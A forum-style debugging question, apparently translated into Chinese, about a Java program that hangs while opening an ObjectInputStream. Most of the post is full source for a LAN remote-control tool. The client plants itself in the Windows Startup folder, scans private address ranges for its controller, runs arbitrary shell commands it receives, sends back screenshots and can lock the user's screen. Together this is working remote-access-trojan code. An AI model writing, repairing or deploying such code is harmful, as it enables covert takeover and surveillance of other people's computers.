我的程序在到达ois = new ObjectInputStream(...)行时挂起:/
问题在于它只能在我兄弟的计算机上运行,而在我的计算机上,一切都可以正常进行。他从我那里偷走了他的计算机,所以我无法真正像通常那样严格地测试我的代码,即使如此,我花了大约一个小时来试用它也无济于事。
我尝试了将流初始化的位置以及初始化顺序的顺序。
public class CornController extends JFrame{
private JTextArea shell;
private DefaultListModel<String> onlineList;
private JList<String> online;
private SlaveTrader slaveTrader = new SlaveTrader();
SlaveTrader targets = new SlaveTrader();
public static void main(String[] args) {
new CornController();
}
public void printToShell(String print) {
String prior = shell.getText();
shell.setText(prior + "\n"+print);
}
public CornController() {
int h = Toolkit.getDefaultToolkit().getScreenSize().height;
int w = Toolkit.getDefaultToolkit().getScreenSize().width;
this.setDefaultCloseOperation(EXIT_ON_CLOSE);
this.setLayout(null);
this.setAlwaysOnTop(true);
this.getContentPane().setBackground(Color.blue);
this.setResizable(false);
this.setTitle("Corn Control");
setSize(3*(w/8), 3*(h/4));
setLocation(w/8, h/8);
shell = new JTextArea();
shell.setBackground(Color.cyan);
shell.setEditable(false);
JScrollPane scrlShell = new JScrollPane(shell);
scrlShell.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS);
scrlShell.setBounds(w/85,h/64,7*w/32,19*h/32);
add(scrlShell);
JTextField input = new JTextField();
input.setBackground(Color.cyan);
input.setBounds(w/85,h/64 + 39*h/64,w/4-w/32,h/20);
input.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String command = input.getText();
input.setText("");
String[] components = command.split(" ");
if(components[0].contentEquals("cmd")) {
distribute(command);
printToShell("running shell command");
}
if(components[0].contentEquals("capture")) {
if(targets.slaves.size() > 0) {
printToShell("requesting screen captures");
distribute("capture");
Object[] raw = collect();
ImageIcon[] screenCaps = new ImageIcon[targets.slaves.size()];
for(int i = 0; i < raw.length; i++) {
screenCaps[i] = (ImageIcon)raw[i];
}
printToShell("collected screen captures");
for(ImageIcon a:screenCaps) {
JFrame dispImg = new JFrame();
dispImg.setBounds(0,0,800,500);
dispImg.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
JLabel label = new JLabel();
label.setIcon(a);
dispImg.add(label);
dispImg.setVisible(true);
}
}
else {
printToShell("collected screen captures");
}
}
else if(components[0].contentEquals("lock")) {
String send = "";
for(int i = 1; i < components.length; i++)
send+=components[i]+" ";
distribute("lockmachine "+send.trim());
}
else if(components[0].contentEquals("unlock")) {
distribute("unlockmachine");
}
else if(components[0].contentEquals("select")) {
if(components.length >= 2) {
if(components[1].contentEquals("all")) {
targets.add(slaveTrader);
online.addSelectionInterval(0, onlineList.size()-1);
}
else {
for(int i = 1; i < components.length; i++)
online.addSelectionInterval(onlineList.indexOf(slaveTrader.get(components[i]).uname), onlineList.indexOf(slaveTrader.get(components[i]).uname));
}
}
else {
printToShell("invalid arguments");
}
}
else if(components[0].contentEquals("deselect")) {
if(components.length >= 2) {
if(components[1].contentEquals("all")) {
online.clearSelection();
}
else{
for(int i = 1; i < components.length; i++)
online.removeSelectionInterval(onlineList.indexOf(slaveTrader.get(components[i]).uname), onlineList.indexOf(slaveTrader.get(components[i]).uname));
}
}
else {
printToShell("invalid arguments");
}
}
else if(components[0].contentEquals("list")) {
printToShell(slaveTrader.toString());
}
else {
printToShell("Invalid Command");
}
}
private void distribute(String command) {
for(Slave slv:targets.slaves) {
try {
slv.oos.writeObject(command);
}catch(IOException e) {e.printStackTrace();}
}
}
private Object[] collect() {
Object[] toReturn = new Object[targets.slaves.size()];
int i = 0;
for(Slave slv:targets.slaves) {
try {
Object a = slv.ois.readObject();
toReturn[i] = a;
i++;
}catch(Exception e) {e.printStackTrace();}
}
return toReturn;
}
});
add(input);
onlineList = new DefaultListModel<String>();
online = new JList<String>(onlineList);
online.setBackground(Color.yellow);
online.setBounds(w/85+15*w/64,h/64,13*w/128,19*h/32);
online.setSelectionMode(DefaultListSelectionModel.MULTIPLE_INTERVAL_SELECTION);
add(online);
online.addListSelectionListener(new ListSelectionListener(){
public void valueChanged(ListSelectionEvent e) {
int start = e.getFirstIndex();
int end = e.getLastIndex();
if(online.isSelectedIndex(start)) {
String toShell = "";
for(int i = start; i <=end; i++) {
if(slaveTrader.get(onlineList.get(i))!= null) {
if(targets.get(onlineList.get(i))== null) {
targets.add(slaveTrader.get(onlineList.get(i)));
toShell+=onlineList.get(i)+" selected\n";
}
}
}
if(toShell.length() > 0)
printToShell(toShell.substring(0,toShell.length()-1));
}
else {
String toShell = "";
for(int i = start; i <=end; i++) {
if(targets.get(onlineList.get(i))!= null) {
targets.remove(targets.get(onlineList.get(i)));
toShell+=onlineList.get(i)+" deselected\n";
}
}
if(toShell.length() > 0)
printToShell(toShell.substring(0,toShell.length()-1));
}
}
});
JButton selAll = new JButton();
selAll.setBounds(w/85+15*w/64,h/64 + 39*h/64,13*w/128,h/20);
selAll.setBackground(Color.orange);
selAll.setText("Select All");
selAll.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
if(onlineList.size() > 0) {
online.setSelectionInterval(0, onlineList.size()-1);
targets.add(slaveTrader);
}
printToShell("Selecting all clients");
}
});
add(selAll);
setVisible(true);
up();
}
public void up(){
try{
ServerSocket CornControl = new ServerSocket(8889);
while(true){
Socket clientSocket = CornControl.accept();
System.out.println("found a client!");
ClientHandler client = new ClientHandler(clientSocket);
Thread clientThread = new Thread(client);
clientThread.start();
}
}catch(IOException e){
e.printStackTrace();
}
}
public class ClientHandler extends Thread {
public ClientHandler(Socket s) {
String user = "";
ObjectOutputStream oos = null;
ObjectInputStream ois = null;
try {
System.out.println("setting up output stream on server side");
oos = new ObjectOutputStream(s.getOutputStream());
System.out.println("setting up input stream on server side");
ois = new ObjectInputStream(s.getInputStream());
System.out.println("done setting up streams");
oos.writeObject("ready");
user = (String)ois.readObject();
}catch(Exception e) {e.printStackTrace();}
printToShell(user+" connected");
onlineList.addElement(user);
Slave nextSlave = new Slave(s,user.substring(user.indexOf(":")+1), ois, oos);
slaveTrader.add(nextSlave);
try {
alive(nextSlave, oos, ois);
}catch(IOException e) {e.printStackTrace();}
}
public void alive(Slave s, ObjectOutputStream oos, ObjectInputStream ois) throws IOException{
while(true) {
try {
if(slaveTrader.slaves.size()<20)
Thread.sleep(1*1000);
else
Thread.sleep(10*1000);
} catch (InterruptedException e) {e.printStackTrace();}
try {
oos.writeObject("isalive");
}catch(SocketException e) {
slaveTrader.remove(s);
printToShell(s.uname+" disconnected");
onlineList.removeElement(s.uname);
}
}
}
}
private class SlaveTrader {
private ArrayList<Slave> slaves;
public SlaveTrader() {
slaves = new ArrayList<Slave>();
}
public Slave get(String uname) {
if(slaves.size() > 0)
for(Slave i:slaves) {
if(i.uname.contentEquals(uname)) {
return i;
}
}
return null;
}
public void add(Slave sl) {
if(sl == null || get(sl.uname)!= null ) {
return;
}
slaves.add(sl);
}
public boolean remove(Slave sl) {
if(sl == null) {
return false;
}
if(slaves.size() > 0)
for(Slave s:slaves) {
if(sl.uname.contentEquals(s.uname)) {
slaves.remove(s);
return true;
}
}
return false;
}
public void add(SlaveTrader trd) {
if(trd == null)
return;
for(Slave sl:trd.slaves) {
if(get(sl.uname) == null)
slaves.add(sl);
}
}
public void remove(SlaveTrader trd) {
if(trd == null)
return;
for(Slave sl:trd.slaves) {
if(get(sl.uname) != null)
slaves.remove(sl);
}
}
public String toString() {
if(slaves.size() == 0)
return "[empty]";
String toReturn = "";
for(Slave i: slaves) {
toReturn+=i.uname;
toReturn+="\n";
}
toReturn = toReturn.substring(0,toReturn.length()-1);
return toReturn;
}
}
private class Slave {
private Socket s;
private String uname;
private ObjectInputStream ois;
private ObjectOutputStream oos;
public Slave(Socket socket, String username, ObjectInputStream i, ObjectOutputStream o) {
s = socket;
uname = username;
ois = i;
oos = o;
}
}
}
public class CornSlave {
private Robot bot;
private ObjectOutputStream oos;
private ObjectInputStream ois;
public static void main(String[] args) {
new CornSlave();
}
//sets up a connection with a Controller
public CornSlave() {
try {
bot = new Robot();
} catch (AWTException e1) {
e1.printStackTrace();
}
Persistence();
//deciding what local ipv4 address is being used, to use later when finding a functioning server
String localhost = null;
int block1 = -1;
int block2 = -1;
int block2_start = 0;
int block2_end = 255;
try {
localhost = InetAddress.getLocalHost().getHostAddress();
}catch(Exception e) {System.err.println("invalid host");System.exit(-192);}
block1 = Integer.parseInt(localhost.substring(0,localhost.indexOf(".")));
block2 = Integer.parseInt(localhost.substring(localhost.indexOf(".")+1).substring(0,localhost.indexOf(".")));
if(block1 == 10) {
block2_start = 0;
block2_end = 255;
}
else if(block1 == 172) {
block2_start = 16;
block2_end = 31;
}
else if(block1 == 192) {
block2_start = 168;
block2_end = 168;
}
//trying to connect to any server with the same 2nd number ipv4 address as the slave
Socket serverSocket = detectServer(block1, block2);
//bruteforcing to find a server over the range of ipv4 addresses discovered earlier in the method
while(serverSocket == null) {
for(int i = block2_start; i <= block2_end; i++) {
serverSocket = detectServer(block1, i);
if (serverSocket != null) {
i = 256;
}
}
//waiting 30 seconds before trying again
if(serverSocket == null) {
try {
Thread.sleep(1000*20);
} catch (InterruptedException e) {e.printStackTrace();}
}
}
//finally found a controller, now it's time to get instructions
getOrders(serverSocket);
}
private class detectThread extends Thread{
private int[] block = new int[3];
private Socket socket;
public detectThread(int b1, int b2, int b3) {
block[0] = b1;
block[1] = b2;
block[2] = b3;
}
public void run() {
for(int b4 = 0; b4 <= 255;) {
Socket socketArr = new Socket();
InetSocketAddress socketAddr = new InetSocketAddress(block[0]+"."+block[1]+"."+block[2]+"."+b4,8889);
try {
socketArr.connect(socketAddr,1);
socket = socketArr;
b4 = 256;
}catch(IOException e) {
b4++;
}
}
}
}
//used to search out a LAN server on port 8889 over all possible addresses given the first two numbers
private Socket detectServer(int b1, int b2) {
ArrayList<detectThread> threads = new ArrayList<detectThread>();
for(int b3 = 0; b3 <= 255; b3++) {
System.out.println("looking at "+b3);
detectThread loop4 = new detectThread(b1,b2,b3);
threads.add(loop4);
loop4.start();
}
for(detectThread thr:threads) {
try {
thr.join();
} catch (InterruptedException e) {e.printStackTrace();}
if(thr.socket != null) {
synchronized(thr.socket) {
System.out.println(thr.socket);
try {
oos = new ObjectOutputStream(thr.socket.getOutputStream());
System.out.println("set up output");
ois = new ObjectInputStream(thr.socket.getInputStream());
System.out.println("set up input");
}catch(IOException e) {e.printStackTrace();System.exit(-10);}
return thr.socket;
}
}
}
return null;
}
//placing itself in the user's startup folder in order to be re-enabled once they sign out and in again
private void Persistence() {
System.out.println("trying to save in startup");
String autostart = System.getProperty("java.io.tmpdir").replace("Local\\Temp\\", "Roaming\\Microsoft\\Windows\\Start Menu\\Programs");
String runningdir = Paths.get(".").toAbsolutePath().normalize().toString();
//creating a batch file to run the slave program
File file=new File(autostart+"\\Startup\\runSlave.bat");
FileOutputStream fos = null;
try {
fos = new FileOutputStream(file);
} catch (FileNotFoundException e) {
e.printStackTrace();
}
DataOutputStream dos=new DataOutputStream(fos);
try {
dos.writeBytes("cd \""+autostart+"\\\"\nstart CornSlave.jar");
} catch (IOException e) {
e.printStackTrace();
}
//copying in the actual Slave program
//CHANGE JAVA TO JAR**************************************************************************
Path src = Paths.get(runningdir+"\\src\\CornSlave.java");
Path dest = Paths.get(autostart+"\\CornSlave.java");
//Path src = Paths.get(runningdir+"\\CornSlave.jar");
//Path dest = Paths.get(autostart+"\\CornSlave.jar");
try {
Files.copy(src, new FileOutputStream(dest.toFile()));
}catch(Exception e) {e.printStackTrace();}
System.out.println("Save successful");
}
//Get and execute instructions from a controller on the LAN
private void revive(InetAddress addr) {
System.out.println("lost connection with server. trying to revive...");
String[] blocks = addr.getHostAddress().split("\\.");
int block1 = Integer.parseInt(blocks[0]);
int block2 = Integer.parseInt(blocks[1]);
System.out.println(".");
final int block2_start;
final int block2_end;
System.out.println(".");
if(block1 == 10) {
block2_start = 0;
block2_end = 255;
}
else if(block1 == 172) {
block2_start = 16;
block2_end = 31;
}
else if(block1 == 192) {
block2_start = 168;
block2_end = 168;
}
else {
block2_start = 0;
block2_end = 0;
}
//System.out.println("scanning original range");
Socket serverSocket = detectServer(block1,block2);
while(serverSocket == null) {
System.out.println("starting scan");
for(int i = block2_start; i <= block2_end; i++) {
serverSocket = detectServer(block1, i);
if (serverSocket != null) {
i = 256;
}
}
if(serverSocket == null) {
try {
Thread.sleep(1000*20);
} catch (InterruptedException e) {e.printStackTrace();}
}
}
System.out.println("revived");
getOrders(serverSocket);
}
private void killThreads(Thread[] toKill) {
for(Thread t:toKill) {
t.stop();
}
}
private class LockThread extends Thread{
JFrame lockScreen;
public void run() {
lockScreen = new JFrame();
lockScreen.setAlwaysOnTop(true);
lockScreen.getContentPane().setBackground(Color.gray);
Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
lockScreen.setDefaultCloseOperation(lockScreen.DO_NOTHING_ON_CLOSE);
lockScreen.setSize(size);
lockScreen.setLocation(0,0);
lockScreen.setUndecorated(true);
lockScreen.setVisible(true);
lockScreen.addKeyListener(new KeyListener() {
public void keyTyped(KeyEvent e) {}
public void keyPressed(KeyEvent e) {}
public void keyReleased(KeyEvent e) {}});
while(true) {
bot.mouseMove(size.height/2, size.width/2);
}
}
}
private void getOrders(Socket serverSocket){
System.out.println("bout to set up streams");
LockThread lockComp = null;
try {
System.out.println(System.getProperty("user.name"));
oos.writeObject(System.getProperty("user.name"));
}catch(Exception e) {e.printStackTrace();}
System.out.println("getting orders");
while(true) {
Object command = null;
while(command == null) {
try {
command = ois.readObject();
} catch (SocketException e) {
revive(serverSocket.getInetAddress());
return;
}catch(ClassNotFoundException e) {e.printStackTrace();
}catch(IOException e) {e.printStackTrace();};
}
if(command instanceof String) {
System.out.println(command);
String[] parameters = ((String)command).split(" ");
if(((String)command).contentEquals("isalive")) {
}
else if(parameters[0].contentEquals("capture")) {
BufferedImage screenFullImage = bot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ImageIcon icon = new ImageIcon(screenFullImage);
try {
oos.writeObject(icon);
} catch (IOException e) {
e.printStackTrace();
}
}
else if(parameters[0].contentEquals("lockmachine")) {
lockComp = new LockThread();
lockComp.start();
}
else if(parameters[0].contentEquals("unlockmachine")) {
if(lockComp != null)
lockComp.stop();
lockComp = null;
}
else {
if(parameters[0].contentEquals("cmd")) {
String[] run = new String[parameters.length + 1];
run[0] = "cmd";
run[1] = "/K";
for(int i = 1; i < parameters.length; i++) {
run[i+1] = parameters[i];
}
try {
Runtime.getRuntime().exec(run);
} catch (IOException e) {e.printStackTrace();}
}
}
}
}
}
}
理想情况下,当我运行服务器时,会出现一个GUI,它显示通过JList对其进行的每个连接。每个客户端暴力通过不同的本地ip查找服务器,然后开始接受指令。 附带一提,我相信有一种方法可以让服务器向所有用户广播服务器,这比让每个客户端自己找到服务器要快得多,但是我敢肯定,某些本地网络不允许广播这样,因此解决方案。
但是,当前在我哥哥的计算机上,服务器运行后我启动客户端的80%的时间中,它都能正确找到IP,但是无法初始化ObjectInputStream。客户端和服务器都永远挂在该位置。 其余20%的程序正常运行(至少对于第一个客户端而言,因为我还没有一次测试多个),即使其中的代码没有任何重大更改(请考虑打印语句)< / p>